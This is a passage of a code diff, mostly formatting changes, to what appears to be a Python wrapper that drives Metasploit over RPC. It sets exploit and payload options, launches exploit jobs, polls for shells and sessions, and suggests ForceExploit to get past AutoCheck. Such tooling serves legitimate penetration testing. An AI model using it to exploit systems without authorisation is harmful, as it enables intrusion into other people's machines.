'{module_type}/{base_module_name}': " f"{error_class} - {error_message}" @@ -1386,8 +1549,10 @@ async def _get_module_object(module_type: str, module_name: str) -> Any: raise except Exception as inner_err: # Fallback error message if we can't get more details - logger.error(f"TypeError loading module {module_type}/{base_module_name}: {e}. " - f"Additional info retrieval failed: {inner_err}") + logger.error( + f"TypeError loading module {module_type}/{base_module_name}: {e}. " + f"Additional info retrieval failed: {inner_err}" + ) raise ValueError( f"Failed to load module '{module_name}' of type '{module_type}'. " f"Metasploit returned an invalid response (expected dict, got unexpected type). " @@ -1395,6 +1560,7 @@ async def _get_module_object(module_type: str, module_name: str) -> Any: f"Try using run_as_job=False for console-based execution, or verify the module name is correct." ) from e + async def _get_module_valid_options(module_obj: Any) -> set: """Get the set of valid option names for a module by querying Metasploit.""" try: @@ -1407,44 +1573,53 @@ async def _get_module_valid_options(module_obj: Any) -> set: logger.warning(f"Failed to get valid options for module: {e}") return set() -async def _set_module_options(module_obj: Any, options: Dict[str, Any], module_type: str = "module", payload_obj: Any = None): + +async def _set_module_options( + module_obj: Any, options: Dict[str, Any], module_type: str = "module", payload_obj: Any = None +): """Sets options on a module object, performing basic type guessing and intelligent error detection. - + Args: module_obj: The Metasploit module object options: Options to set on the module module_type: Type of module ('exploit', 'payload', 'auxiliary', etc.) payload_obj: Optional payload object to check if failed options are valid payload options """ - module_fullname = getattr(module_obj, 'fullname', 'unknown') + module_fullname = getattr(module_obj, "fullname", "unknown") logger.debug(f"Setting options for module {module_fullname}: {options}") - + # Get valid options for this module valid_module_options = await _get_module_valid_options(module_obj) - logger.debug(f"Module {module_fullname} has {len(valid_module_options)} valid options: {sorted(valid_module_options)}") - + logger.debug( + f"Module {module_fullname} has {len(valid_module_options)} valid options: {sorted(valid_module_options)}" + ) + # Get valid payload options if we have a payload valid_payload_options = set() if payload_obj: valid_payload_options = await _get_module_valid_options(payload_obj) - payload_name = getattr(payload_obj, 'fullname', 'unknown') - logger.debug(f"Payload {payload_name} has {len(valid_payload_options)} valid options: {sorted(valid_payload_options)}") - + payload_name = getattr(payload_obj, "fullname", "unknown") + logger.debug( + f"Payload {payload_name} has {len(valid_payload_options)} valid options: {sorted(valid_payload_options)}" + ) + failed_options = [] payload_options_in_module = [] - + for k, v in options.items(): # Basic type guessing original_value = v if isinstance(v, str): if v.isdigit(): - try: v = int(v) - except ValueError: pass # Keep as string if large number or non-integer - elif v.lower() in ('true', 'false'): - v = v.lower() == 'true' + try: + v = int(v) + except ValueError: + pass # Keep as string if large number or non-integer + elif v.lower() in ("true", "false"): + v = v.lower() == "true" # Add more specific checks if needed (e.g., for file paths) elif isinstance(v, (int, bool)): - pass # Already correct type + pass # Already correct type # Add handling for other types like lists if necessary try: @@ -1452,22 +1627,24 @@ async def _set_module_options(module_obj: Any, options: Dict[str, Any], module_t await asyncio.to_thread(lambda key=k, value=v: module_obj.__setitem__(key, value)) # logger.debug(f"Set option {k}={v} (original: {original_value})") except (MsfRpcError, KeyError, TypeError) as e: - # Catch potential errors if option doesn't exist or type is wrong - error_str = str(e) - logger.error(f"Failed to set option {k}={v} on module {module_fullname}: {e}") - - # Check if this option is valid for the payload (intelligent detection) - if 'invalid option' in error_str.lower() and k in valid_payload_options: - logger.debug(f"Option {k} is valid for payload but not for module {module_fullname}") - payload_options_in_module.append(k) - failed_options.append((k, original_value, error_str)) - else: - failed_options.append((k, original_value, error_str)) - + # Catch potential errors if option doesn't exist or type is wrong + error_str = str(e) + logger.error(f"Failed to set option {k}={v} on module {module_fullname}: {e}") + + # Check if this option is valid for the payload (intelligent detection) + if "invalid option" in error_str.lower() and k in valid_payload_options: + logger.debug( + f"Option {k} is valid for payload but not for module {module_fullname}" + ) + payload_options_in_module.append(k) + failed_options.append((k, original_value, error_str)) + else: + failed_options.append((k, original_value, error_str)) + # If we detected payload options in module options, provide helpful error if payload_options_in_module: - option_list = ', '.join(payload_options_in_module) - payload_name = getattr(payload_obj, 'fullname', 'payload') if payload_obj else 'payload' + option_list = ", ".join(payload_options_in_module) + payload_name = getattr(payload_obj, "fullname", "payload") if payload_obj else "payload" error_msg = ( f"❌ CONFIGURATION ERROR: Payload options ({option_list}) cannot be set on the exploit module.\n\n" f"These options belong to the PAYLOAD ('{payload_name}'), not the exploit module '{module_fullname}'.\n\n" @@ -1488,45 +1665,46 @@ async def _set_module_options(module_obj: Any, options: Dict[str, Any], module_t f" payload_options={{'{payload_options_in_module[0]}': '...', ...}}) # ✅ Payload options separate\n" ) raise ValueError(error_msg) - + # If we have other failed options, raise an informative error if failed_options: failed_list = [f"{k}='{v}'" for k, v, _ in failed_options[:3]] # Show first 3 error_msg = f"Failed to set option(s) on module '{module_fullname}': {', '.join(failed_list)}. {failed_options[0][2]}" - + # Add helpful hint about valid options if we have them if valid_module_options: - valid_options_sample = ', '.join(sorted(valid_module_options)[:10]) + valid_options_sample = ", ".join(sorted(valid_module_options)[:10]) if len(valid_module_options) > 10: valid_options_sample += f", ... ({len(valid_module_options)} total)" error_msg += f"\n\nValid options for this module: {valid_options_sample}" - + raise ValueError(error_msg) + async def _get_module_error_from_events(client: Any, uuid_str: str) -> Optional[str]: """Query db.events for a module_error event matching the given module UUID.""" try: - events_response = await asyncio.to_thread(lambda: client.call('db.events', [{}])) + events_response = await asyncio.to_thread(lambda: client.call("db.events", [{}])) if not isinstance(events_response, dict): return None - events = events_response.get('events', []) + events = events_response.get("events", []) if not isinstance(events, list): return None for event in reversed(events): if not isinstance(event, dict): continue - if event.get('name') != 'module_error': + if event.get("name") != "module_error": continue - info = event.get('info', {}) + info = event.get("info", {}) if not isinstance(info, dict): continue - if str(info.get('module_uuid')) != uuid_str: + if str(info.get("module_uuid")) != uuid_str: continue - exception_value = info.get('exception') + exception_value = info.get("exception") if exception_value is None: return None return exception_value if isinstance(exception_value, str) else str(exception_value) @@ -1536,19 +1714,24 @@ async def _get_module_error_from_events(client: Any, uuid_str: str) -> Optional[ return None + async def _execute_module_rpc( module_type: str, - module_name: str, # Can be full path or base name + module_name: str, # Can be full path or base name module_options: Dict[str, Any], - payload_spec: Optional[Union[str, Dict[str, Any]]] = None # Payload name or {name: ..., options: ...} + payload_spec: Optional[ + Union[str, Dict[str, Any]] + ] = None, # Payload name or {name: ..., options: ...} ) -> Dict[str, Any]: """ Helper to execute an exploit, auxiliary, or post module as a background job via RPC. Includes polling logic for exploit sessions. """ client = get_msf_client() - module_obj = await _get_module_object(module_type, module_name) # Handles path variants - full_module_path = getattr(module_obj, 'fullname', f"{module_type}/{module_name}") # Get canonical name + module_obj = await _get_module_object(module_type, module_name) # Handles path variants + full_module_path = getattr( + module_obj, "fullname", f"{module_type}/{module_name}" + ) # Get canonical name # Prepare payload first if needed, so we can pass it to _set_module_options for intelligent error detection payload_obj_to_pass = None @@ -1556,361 +1739,458 @@ async def _execute_module_rpc( payload_name_for_log = None payload_options_for_log = None - if module_type == 'exploit' and payload_spec: + if module_type == "exploit" and payload_spec: if isinstance(payload_spec, str): - payload_name_for_log = payload_spec - # Passing name string directly is supported by exploit.execute - payload_obj_to_pass = payload_name_for_log - logger.info(f"Executing {full_module_path} with payload '{payload_name_for_log}' (passed as string).") - # Try to get payload object for validation (non-blocking if it fails) - try: - payload_obj_for_validation = await _get_module_object('payload', payload_name_for_log) - except Exception as e: - logger.debug(f"Could not get payload object for validation: {e}") - elif isinstance(payload_spec, dict) and 'name' in payload_spec: - payload_name = payload_spec['name'] - payload_options = payload_spec.get('options', {}) - payload_name_for_log = payload_name - payload_options_for_log = payload_options - try: - payload_obj = await _get_module_object('payload', payload_name) - payload_obj_for_validation = payload_obj # Use for validation - await _set_module_options(payload_obj, payload_options, module_type='payload') - payload_obj_to_pass = payload_obj # Pass the configured payload object - logger.info(f"Executing {full_module_path} with configured payload object for '{payload_name}'.") - except InvalidModuleError as e: - # Clean warning for invalid payload module (not a bug, just wrong module name) - logger.warning(f"Payload module '{payload_name}' not found: {e}") - return {"status": "error", "message": f"Payload '{payload_name}' not found in Metasploit. Verify the payload name is correct."} - except (ValueError, MsfRpcError) as e: - logger.error(f"Failed to prepare payload object for '{payload_name}': {e}") - return {"status": "error", "message": f"Failed to prepare payload '{payload_name}': {e}"} + payload_name_for_log = payload_spec + # Passing name string directly is supported by exploit.execute + payload_obj_to_pass = payload_name_for_log + logger.info( + f"Executing {full_module_path} with payload '{payload_name_for_log}' (passed as string)." + ) + # Try to get payload object for validation (non-blocking if it fails) + try: + payload_obj_for_validation = await _get_module_object( + "payload", payload_name_for_log + ) + except Exception as e: + logger.debug(f"Could not get payload object for validation: {e}") + elif isinstance(payload_spec, dict) and "name" in payload_spec: + payload_name = payload_spec["name"] + payload_options = payload_spec.get("options", {}) + payload_name_for_log = payload_name + payload_options_for_log = payload_options + try: + payload_obj = await _get_module_object("payload", payload_name) + payload_obj_for_validation = payload_obj # Use for validation + await _set_module_options(payload_obj, payload_options, module_type="payload") + payload_obj_to_pass = payload_obj # Pass the configured payload object + logger.info( + f"Executing {full_module_path} with configured payload object for '{payload_name}'." + ) + except InvalidModuleError as e: + # Clean warning for invalid payload module (not a bug, just wrong module name) + logger.warning(f"Payload module '{payload_name}' not found: {e}") + return { + "status": "error", + "message": f"Payload '{payload_name}' not found in Metasploit. Verify the payload name is correct.", + } + except (ValueError, MsfRpcError) as e: + logger.error(f"Failed to prepare payload object for '{payload_name}': {e}") + return { + "status": "error", + "message": f"Failed to prepare payload '{payload_name}': {e}", + } else: - logger.warning(f"Invalid payload_spec format: {payload_spec}. Expected string or dict with 'name'.") - return {"status": "error", "message": "Invalid payload specification format."} + logger.warning( + f"Invalid payload_spec format: {payload_spec}. Expected string or dict with 'name'." + ) + return {"status": "error", "message": "Invalid payload specification format."} # Now set module options with payload object available for intelligent error detection - await _set_module_options(module_obj, module_options, module_type=module_type, payload_obj=payload_obj_for_validation) + await _set_module_options( + module_obj, module_options, module_type=module_type, payload_obj=payload_obj_for_validation + ) logger.info(f"Executing module {full_module_path} as background job via RPC...") try: - if module_type == 'exploit': - exec_result = await asyncio.to_thread(lambda: module_obj.execute(payload=payload_obj_to_pass)) - else: # auxiliary, post + if module_type == "exploit": + exec_result = await asyncio.to_thread( + lambda: module_obj.execute(payload=payload_obj_to_pass) + ) + else: # auxiliary, post exec_result = await asyncio.to_thread(lambda: module_obj.execute()) logger.info(f"RPC execute() result for {full_module_path}: {exec_result}") # --- Process Execution Result --- if not isinstance(exec_result, dict): - logger.error(f"Unexpected result type from {module_type} execution: {type(exec_result)} - {exec_result}") - return {"status": "error", "message": f"Unexpected result from module execution: {exec_result}", "module": full_module_path} + logger.error( + f"Unexpected result type from {module_type} execution: {type(exec_result)} - {exec_result}" + ) + return { + "status": "error", + "message": f"Unexpected result from module execution: {exec_result}", + "module": full_module_path, + } - if exec_result.get('error', False): - error_msg = exec_result.get('error_message', exec_result.get('error_string', 'Unknown RPC error during execution')) + if exec_result.get("error", False): + error_msg = exec_result.get( + "error_message", + exec_result.get("error_string", "Unknown RPC error during execution"), + ) logger.error(f"Failed to start job for {full_module_path}: {error_msg}") # Check for common errors if "could not bind" in error_msg.lower(): - return {"status": "error", "message": f"Job start failed: Address/Port likely already in use. {error_msg}", "module": full_module_path} - return {"status": "error", "message": f"Failed to start job: {error_msg}", "module": full_module_path} + return { + "status": "error", + "message": f"Job start failed: Address/Port likely already in use. {error_msg}", + "module": full_module_path, + } + return { + "status": "error", + "message": f"Failed to start job: {error_msg}", + "module": full_module_path, + } - job_id = exec_result.get('job_id') - uuid = exec_result.get('uuid') + job_id = exec_result.get("job_id") + uuid = exec_result.get("uuid") if job_id is None: - logger.warning(f"{module_type.capitalize()} job executed but no job_id returned: {exec_result}") + logger.warning( + f"{module_type.capitalize()} job executed but no job_id returned: {exec_result}" + ) # Sometimes handlers don't return job_id but are running, check by UUID/name later maybe - if module_type == 'exploit' and 'handler' in full_module_path: - # Check jobs list for a match based on payload/lhost/lport - await asyncio.sleep(1.0) - jobs_list = await asyncio.to_thread(lambda: client.jobs.list) - for jid, jinfo in jobs_list.items(): - if isinstance(jinfo, dict) and jinfo.get('name','').endswith('Handler') and \ - jinfo.get('datastore',{}).get('LHOST') == module_options.get('LHOST') and \ - jinfo.get('datastore',{}).get('LPORT') == module_options.get('LPORT') and \ - jinfo.get('datastore',{}).get('PAYLOAD') == payload_name_for_log: - logger.info(f"Found probable handler job {jid} matching parameters.") - return {"status": "success", "message": f"Listener likely started as job {jid}", "job_id": jid, "uuid": uuid, "module": full_module_path} - - return {"status": "unknown", "message": f"{module_type.capitalize()} executed, but no job ID returned.", "result": exec_result, "module": full_module_path} + if module_type == "exploit" and "handler" in full_module_path: + # Check jobs list for a match based on payload/lhost/lport + await asyncio.sleep(1.0) + jobs_list = await asyncio.to_thread(lambda: client.jobs.list) + for jid, jinfo in jobs_list.items(): + if ( + isinstance(jinfo, dict) + and jinfo.get("name", "").endswith("Handler") + and jinfo.get("datastore", {}).get("LHOST") == module_options.get("LHOST") + and jinfo.get("datastore", {}).get("LPORT") == module_options.get("LPORT") + and jinfo.get("datastore", {}).get("PAYLOAD") == payload_name_for_log + ): + logger.info(f"Found probable handler job {jid} matching parameters.") + return { + "status": "success", + "message": f"Listener likely started as job {jid}", + "job_id": jid, + "uuid": uuid, + "module": full_module_path, + } + + return { + "status": "unknown", + "message": f"{module_type.capitalize()} executed, but no job ID returned.", + "result": exec_result, + "module": full_module_path, + } # --- Exploit Specific: Poll for Session (skip for handlers) --- found_session_id = None - is_handler_module = 'handler' in full_module_path.lower() - - if module_type == 'exploit' and uuid and not is_handler_module: - start_time = asyncio.get_event_loop().time() - uuid_str = str(uuid) - logger.info(f"Exploit job {job_id} (UUID: {uuid}) started. Polling for session (timeout: {EXPLOIT_SESSION_POLL_TIMEOUT}s)...") - poll_count = 0 - missing_uuid_polls = 0 - while (asyncio.get_event_loop().time() - start_time) < EXPLOIT_SESSION_POLL_TIMEOUT: - poll_count += 1 - elapsed = asyncio.get_event_loop().time() - start_time - - # Calculate progress (0-90% until session found) - progress_pct = min(int((elapsed / EXPLOIT_SESSION_POLL_TIMEOUT) * 90), 90) - - # Log progress every few polls to avoid log spam - if poll_count % 5 == 0: - logger.info(f"Still polling for session (elapsed: {int(elapsed)}s, checks: {poll_count})") - - try: - job_status_getter = getattr(client.jobs, "info_by_uuid", None) - if callable(job_status_getter): - job_status = await asyncio.to_thread(lambda: job_status_getter(str(uuid))) - if isinstance(job_status, dict): - status_value = str(job_status.get("status", "")).lower() - if status_value in {"errored", "error", "failed"}: - job_error = ( - job_status.get("error") - or job_status.get("error_message") - or job_status.get("message") - or "Unknown job error" - ) - logger.error( - "Exploit job %s (UUID: %s) reported error status %r: %s", - job_id, - uuid, - status_value, - job_error, - ) - return { - "status": "error", - "message": f"Exploit job {job_id} failed: {job_error}", - "job_id": job_id, - "uuid": uuid, - "job_error": str(job_error), - "session_id": None, - "module": full_module_path, - "options": module_options, - "payload_name": payload_name_for_log, - "payload_options": payload_options_for_log, - } - - sessions_list = await asyncio.to_thread(lambda: client.sessions.list) - for s_id, s_info in sessions_list.items(): - # Ensure comparison is robust (uuid might be str or bytes, info dict keys too) - s_id_str = str(s_id) - if isinstance(s_info, dict) and str(s_info.get('exploit_uuid')) == uuid_str: - found_session_id = s_id # Keep original type from list keys - logger.info(f"Found matching session {found_session_id} for job {job_id} (UUID: {uuid}) after {int(elapsed)}s and {poll_count} checks") - break # Exit inner loop - - if found_session_id is not None: - break # Exit outer loop - - # Detect completed/failed exploit jobs quickly by observing module running stats. - # This avoids waiting the full timeout when AutoCheck aborts immediately. - running_stats = await asyncio.to_thread(lambda: client.call('module.running_stats')) - if isinstance(running_stats, dict): - results_list = running_stats.get('results', []) - running_list = running_stats.get('running', []) - waiting_list = running_stats.get('waiting', []) - uuid_present = ( - uuid_str in running_list - or uuid_str in waiting_list - or uuid_str in results_list - ) - - if uuid_str in results_list: - missing_uuid_polls = 0 - error_detail = await _get_module_error_from_events(client, uuid_str) - if error_detail: - logger.error( - "Exploit job %s (UUID: %s) completed with module_error: %s", - job_id, - uuid, - error_detail, - ) - return { - "status": "error", - "message": f"Exploit job {job_id} failed: {error_detail}", - "job_id": job_id, - "uuid": uuid, - "job_error": str(error_detail), - "session_id": None, - "module": full_module_path, - "options": module_options, - "payload_name": payload_name_for_log, - "payload_options": payload_options_for_log, - "exploit_error": str(error_detail), - } - - logger.warning( - "Exploit job %s (UUID: %s) completed without session; allowing grace check.", - job_id, - uuid, - ) - await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL * 2) - sessions_list = await asyncio.to_thread(lambda: client.sessions.list) - for s_id, s_info in sessions_list.items(): - if isinstance(s_info, dict) and str(s_info.get('exploit_uuid')) == uuid_str: - found_session_id = s_id - logger.info( - "Found matching session %s for completed job %s (UUID: %s) during grace check.", - found_session_id, - job_id, - uuid, - ) - break - break - - if not uuid_present: - missing_uuid_polls += 1 - logger.debug( - "UUID %s missing from module.running_stats (poll=%s, elapsed=%.1fs); checking db.events for failure.", - uuid_str, - missing_uuid_polls, - elapsed, - ) - error_detail = await _get_module_error_from_events(client, uuid_str) - if error_detail: - return { - "status": "error", - "message": f"Exploit job {job_id} failed: {error_detail}", - "job_id": job_id, - "uuid": uuid, - "job_error": str(error_detail), - "session_id": None, - "module": full_module_path, - "options": module_options, - "payload_name": payload_name_for_log, - "payload_options": payload_options_for_log, - "exploit_error": str(error_detail), - } - if ( - missing_uuid_polls >= UUID_MISSING_GRACE_POLLS - and elapsed >= UUID_MISSING_GRACE_SECONDS - ): - logger.warning( - "UUID %s missing from module.running_stats for %s polls over %.1fs; treating job %s as no longer trackable.", - uuid_str, - missing_uuid_polls, - elapsed, - job_id, - ) - break - else: - missing_uuid_polls = 0 - - # Optional: Check if job died prematurely - # job_info = await asyncio.to_thread(lambda: client.jobs.info(str(job_id))) - # if not job_info or job_info.get('status') != 'running': - # logger.warning(f"Job {job_id} stopped or disappeared during session polling.") - # break - - except MsfRpcError as poll_e: logger.warning(f"Error during session polling: {poll_e}") - except Exception as poll_e: logger.error(f"Unexpected error during polling: {poll_e}", exc_info=True); break - - await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL) - - if found_session_id is None: - elapsed_total = asyncio.get_event_loop().time() - start_time - if elapsed_total >= (EXPLOIT_SESSION_POLL_TIMEOUT - EXPLOIT_SESSION_POLL_INTERVAL): - logger.warning( - "Polling timeout (%ss) reached for job %s, no matching session found after %s checks.", - EXPLOIT_SESSION_POLL_TIMEOUT, - job_id, - poll_count, - ) - else: - logger.warning( - "Stopped polling early for job %s after %.1fs (%s checks), no matching session found.", - job_id, - elapsed_total, - poll_count, - ) + is_handler_module = "handler" in full_module_path.lower() + + if module_type == "exploit" and uuid and not is_handler_module: + start_time = asyncio.get_event_loop().time() + uuid_str = str(uuid) + logger.info( + f"Exploit job {job_id} (UUID: {uuid}) started. Polling for session (timeout: {EXPLOIT_SESSION_POLL_TIMEOUT}s)..." + ) + poll_count = 0 + missing_uuid_polls = 0 + while (asyncio.get_event_loop().time() - start_time) < EXPLOIT_SESSION_POLL_TIMEOUT: + poll_count += 1 + elapsed = asyncio.get_event_loop().time() - start_time + + # Calculate progress (0-90% until session found) + progress_pct = min(int((elapsed / EXPLOIT_SESSION_POLL_TIMEOUT) * 90), 90) + + # Log progress every few polls to avoid log spam + if poll_count % 5 == 0: + logger.info( + f"Still polling for session (elapsed: {int(elapsed)}s, checks: {poll_count})" + ) + + try: + job_status_getter = getattr(client.jobs, "info_by_uuid", None) + if callable(job_status_getter): + job_status = await asyncio.to_thread(lambda: job_status_getter(str(uuid))) + if isinstance(job_status, dict): + status_value = str(job_status.get("status", "")).lower() + if status_value in {"errored", "error", "failed"}: + job_error = ( + job_status.get("error") + or job_status.get("error_message") + or job_status.get("message") + or "Unknown job error" + ) + logger.error( + "Exploit job %s (UUID: %s) reported error status %r: %s", + job_id, + uuid, + status_value, + job_error, + ) + return { + "status": "error", + "message": f"Exploit job {job_id} failed: {job_error}", + "job_id": job_id, + "uuid": uuid, + "job_error": str(job_error), + "session_id": None, + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, + "payload_options": payload_options_for_log, + } + + sessions_list = await asyncio.to_thread(lambda: client.sessions.list) + for s_id, s_info in sessions_list.items(): + # Ensure comparison is robust (uuid might be str or bytes, info dict keys too) + s_id_str = str(s_id) + if isinstance(s_info, dict) and str(s_info.get("exploit_uuid")) == uuid_str: + found_session_id = s_id # Keep original type from list keys + logger.info( + f"Found matching session {found_session_id} for job {job_id} (UUID: {uuid}) after {int(elapsed)}s and {poll_count} checks" + ) + break # Exit inner loop + + if found_session_id is not None: + break # Exit outer loop + + # Detect completed/failed exploit jobs quickly by observing module running stats. + # This avoids waiting the full timeout when AutoCheck aborts immediately. + running_stats = await asyncio.to_thread( + lambda: client.call("module.running_stats") + ) + if isinstance(running_stats, dict): + results_list = running_stats.get("results", []) + running_list = running_stats.get("running", []) + waiting_list = running_stats.get("waiting", []) + uuid_present = ( + uuid_str in running_list + or uuid_str in waiting_list + or uuid_str in results_list + ) + + if uuid_str in results_list: + missing_uuid_polls = 0 + error_detail = await _get_module_error_from_events(client, uuid_str) + if error_detail: + logger.error( + "Exploit job %s (UUID: %s) completed with module_error: %s", + job_id, + uuid, + error_detail, + ) + return { + "status": "error", + "message": f"Exploit job {job_id} failed: {error_detail}", + "job_id": job_id, + "uuid": uuid, + "job_error": str(error_detail), + "session_id": None, + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, + "payload_options": payload_options_for_log, + "exploit_error": str(error_detail), + } + + logger.warning( + "Exploit job %s (UUID: %s) completed without session; allowing grace check.", + job_id, + uuid, + ) + await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL * 2) + sessions_list = await asyncio.to_thread(lambda: client.sessions.list) + for s_id, s_info in sessions_list.items(): + if ( + isinstance(s_info, dict) + and str(s_info.get("exploit_uuid")) == uuid_str + ): + found_session_id = s_id + logger.info( + "Found matching session %s for completed job %s (UUID: %s) during grace check.", + found_session_id, + job_id, + uuid, + ) + break + break + + if not uuid_present: + missing_uuid_polls += 1 + logger.debug( + "UUID %s missing from module.running_stats (poll=%s, elapsed=%.1fs); checking db.events for failure.", + uuid_str, + missing_uuid_polls, + elapsed, + ) + error_detail = await _get_module_error_from_events(client, uuid_str) + if error_detail: + return { + "status": "error", + "message": f"Exploit job {job_id} failed: {error_detail}", + "job_id": job_id, + "uuid": uuid, + "job_error": str(error_detail), + "session_id": None, + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, + "payload_options": payload_options_for_log, + "exploit_error": str(error_detail), + } + if ( + missing_uuid_polls >= UUID_MISSING_GRACE_POLLS + and elapsed >= UUID_MISSING_GRACE_SECONDS + ): + logger.warning( + "UUID %s missing from module.running_stats for %s polls over %.1fs; treating job %s as no longer trackable.", + uuid_str, + missing_uuid_polls, + elapsed, + job_id, + ) + break + else: + missing_uuid_polls = 0 + + # Optional: Check if job died prematurely + # job_info = await asyncio.to_thread(lambda: client.jobs.info(str(job_id))) + # if not job_info or job_info.get('status') != 'running': + # logger.warning(f"Job {job_id} stopped or disappeared during session polling.") + # break + + except MsfRpcError as poll_e: + logger.warning(f"Error during session polling: {poll_e}") + except Exception as poll_e: + logger.error(f"Unexpected error during polling: {poll_e}", exc_info=True) + break + + await asyncio.sleep(EXPLOIT_SESSION_POLL_INTERVAL) + + if found_session_id is None: + elapsed_total = asyncio.get_event_loop().time() - start_time + if elapsed_total >= (EXPLOIT_SESSION_POLL_TIMEOUT - EXPLOIT_SESSION_POLL_INTERVAL): + logger.warning( + "Polling timeout (%ss) reached for job %s, no matching session found after %s checks.", + EXPLOIT_SESSION_POLL_TIMEOUT, + job_id, + poll_count, + ) + else: + logger.warning( + "Stopped polling early for job %s after %.1fs (%s checks), no matching session found.", + job_id, + elapsed_total, + poll_count, + ) elif is_handler_module: - logger.info(f"Handler job {job_id} started successfully. No session polling needed - handler will wait for connections.") + logger.info( + f"Handler job {job_id} started successfully. No session polling needed - handler will wait for connections." + ) # --- Auxiliary/Post Module: Poll for Completion and Retrieve Results --- module_result = None module_result_status = None - if module_type in ('auxiliary', 'post') and uuid: + if module_type in ("auxiliary", "post") and uuid: start_time = asyncio.get_event_loop().time() - logger.info(f"{module_type.capitalize()} job {job_id} (UUID: {uuid}) started. Polling for completion (timeout: {MODULE_RESULT_POLL_TIMEOUT}s)...") + logger.info( + f"{module_type.capitalize()} job {job_id} (UUID: {uuid}) started. Polling for completion (timeout: {MODULE_RESULT_POLL_TIMEOUT}s)..." + ) poll_count = 0 uuid_str = str(uuid) - + while (asyncio.get_event_loop().time() - start_time) < MODULE_RESULT_POLL_TIMEOUT: poll_count += 1 elapsed = asyncio.get_event_loop().time() - start_time - + # Log progress every few polls to avoid log spam if poll_count % 10 == 0: - logger.info(f"Still polling for {module_type} completion (elapsed: {int(elapsed)}s, checks: {poll_count})") - + logger.info( + f"Still polling for {module_type} completion (elapsed: {int(elapsed)}s, checks: {poll_count})" + ) + try: # Check module.running_stats to see if UUID is in results - running_stats = await asyncio.to_thread(lambda: client.call('module.running_stats')) - + running_stats = await asyncio.to_thread( + lambda: client.call("module.running_stats") + ) + if not isinstance(running_stats, dict): - logger.warning(f"Unexpected type from module.running_stats: {type(running_stats)}") + logger.warning( + f"Unexpected type from module.running_stats: {type(running_stats)}" + ) await asyncio.sleep(MODULE_RESULT_POLL_INTERVAL) continue - + # Check if UUID is in the results array (module completed) - results_list = running_stats.get('results', []) + results_list = running_stats.get("results", []) if uuid_str in results_list: - logger.info(f"{module_type.capitalize()} job {job_id} (UUID: {uuid}) completed after {int(elapsed)}s. Retrieving results...") - + logger.info( + f"{module_type.capitalize()} job {job_id} (UUID: {uuid}) completed after {int(elapsed)}s. Retrieving results..." + ) + # Retrieve the actual module results - result_response = await asyncio.to_thread(lambda: client.call('module.results', [uuid_str])) - + result_response = await asyncio.to_thread( + lambda: client.call("module.results", [uuid_str]) + ) + if isinstance(result_response, dict): - module_result_status = result_response.get('status', 'unknown') - module_result = result_response.get('result') - logger.info(f"Retrieved {module_type} results with status: {module_result_status}") + module_result_status = result_response.get("status", "unknown") + module_result = result_response.get("result") + logger.info( + f"Retrieved {module_type} results with status: {module_result_status}" + ) else: - logger.warning(f"Unexpected type from module.results: {type(result_response)}") + logger.warning( + f"Unexpected type from module.results: {type(result_response)}" + ) module_result = result_response - + break # Exit polling loop - + # Check if UUID is still in running or waiting - running_list = running_stats.get('running', []) - waiting_list = running_stats.get('waiting', []) - - if uuid_str not in running_list and uuid_str not in waiting_list and uuid_str not in results_list: - logger.warning(f"UUID {uuid_str} not found in running_stats (running/waiting/results). Module may have failed or UUID changed.") + running_list = running_stats.get("running", []) + waiting_list = running_stats.get("waiting", []) + + if ( + uuid_str not in running_list + and uuid_str not in waiting_list + and uuid_str not in results_list + ): + logger.warning( + f"UUID {uuid_str} not found in running_stats (running/waiting/results). Module may have failed or UUID changed." + ) break - + except MsfRpcError as poll_e: logger.warning(f"Error during {module_type} result polling: {poll_e}") await asyncio.sleep(MODULE_RESULT_POLL_INTERVAL) continue except Exception as poll_e: - logger.error(f"Unexpected error during {module_type} result polling: {poll_e}", exc_info=True) + logger.error( + f"Unexpected error during {module_type} result polling: {poll_e}", + exc_info=True, + ) break - + await asyncio.sleep(MODULE_RESULT_POLL_INTERVAL) - - if module_result is None and (asyncio.get_event_loop().time() - start_time) >= MODULE_RESULT_POLL_TIMEOUT: - logger.warning(f"Polling timeout ({MODULE_RESULT_POLL_TIMEOUT}s) reached for {module_type} job {job_id}, results not retrieved after {poll_count} checks.") + + if ( + module_result is None + and (asyncio.get_event_loop().time() - start_time) >= MODULE_RESULT_POLL_TIMEOUT + ): + logger.warning( + f"Polling timeout ({MODULE_RESULT_POLL_TIMEOUT}s) reached for {module_type} job {job_id}, results not retrieved after {poll_count} checks." + ) # --- Construct Final Success/Warning Message --- message = f"{module_type.capitalize()} module {full_module_path} started as job {job_id}." status = "success" - if module_type == 'exploit': + if module_type == "exploit": if is_handler_module: - # Handlers are always successful - they wait for connections - message += " Handler is waiting for connections." + # Handlers are always successful - they wait for connections + message += " Handler is waiting for connections." elif found_session_id is not None: - message += f" Session {found_session_id} created." + message += f" Session {found_session_id} created." else: - message += " No session detected within timeout." - if not bool(module_options.get("ForceExploit", False)): - message += ' If AutoCheck blocked exploitation, retry with ForceExploit=true (or set force_exploit=True).' - status = "warning" # Indicate job started but session didn't appear + message += " No session detected within timeout." + if not bool(module_options.get("ForceExploit", False)): + message += " If AutoCheck blocked exploitation, retry with ForceExploit=true (or set force_exploit=True)." + status = "warning" # Indicate job started but session didn't appear - # If there's a job ID and a payload LPORT set, kill the job - if job_id and (payload_options or {}).get('LPORT'): + # If there's a job ID and a payload LPORT set, kill the job + if job_id and (payload_options or {}).get("LPORT"): await asyncio.to_thread(lambda: client.jobs.stop(str(job_id))) logger.info(f"Killed job {job_id} due to LPORT setting in payload options.") - elif module_type in ('auxiliary', 'post'): + elif module_type in ("auxiliary", "post"): if module_result is not None: - if module_result_status == 'completed': + if module_result_status == "completed": message += f" Module completed successfully." else: message += f" Module completed with status: {module_result_status}." @@ -1919,70 +2199,85 @@ async def _execute_module_rpc( status = "warning" # Indicate results not retrieved result_dict = { - "status": status, "message": message, "job_id": job_id, "uuid": uuid, - "session_id": found_session_id, # None if not found/not applicable - "module": full_module_path, "options": module_options, - "payload_name": payload_name_for_log, # Include payload info if exploit - "payload_options": payload_options_for_log + "status": status, + "message": message, + "job_id": job_id, + "uuid": uuid, + "session_id": found_session_id, # None if not found/not applicable + "module": full_module_path, + "options": module_options, + "payload_name": payload_name_for_log, # Include payload info if exploit + "payload_options": 